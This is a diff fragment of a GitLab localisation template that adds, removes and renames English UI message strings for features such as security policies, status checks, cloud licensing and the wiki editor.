+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
